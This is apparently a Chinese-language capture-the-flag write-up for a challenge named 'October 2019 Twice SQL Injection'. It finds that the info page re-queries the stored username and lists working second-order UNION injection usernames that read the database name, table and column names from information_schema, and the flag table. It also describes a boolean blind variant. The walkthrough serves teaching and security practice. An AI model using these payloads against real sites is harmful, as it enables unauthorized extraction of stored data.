October 2019 Twice SQL Injection
标题告诉我们考的是二次注入,一共四个功能,注册、登录、显示info、修改info。
寻找注入点:
- 注册时会查询数据库检查是否已注册,会回显注册失败,猜测查询语句是
select * from users where username='[Username]'
,检验一下:Username: n’or 1=1#,发现注册成功,不符合预期。无法利用。 - 登陆时没有任何回显。无法利用。
- 显示info时推测查询语句是
select info from users where username='[Username]'
,因为考点是二次注入,所以大概率是这种情况。直接注册用户, Username: no’union select database()#,登录后发现显示了数据库。
- 接下来重复过程。
Username: no’union select group_concat(table_name)from information_schema.tables where table_schema=database()#
Username: no’union select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=“flag”#
Username: no’union select group_concat(flag) from flag#
总结
基础的二次注入,先找到所有需要查询数据库的地方,然后测试回显,猜测查询方式。
注册的时候可能是对用户名进行转义,不然应该可以使用布尔盲注no'or 1=1#
,通过回显是否注册成功进行盲注。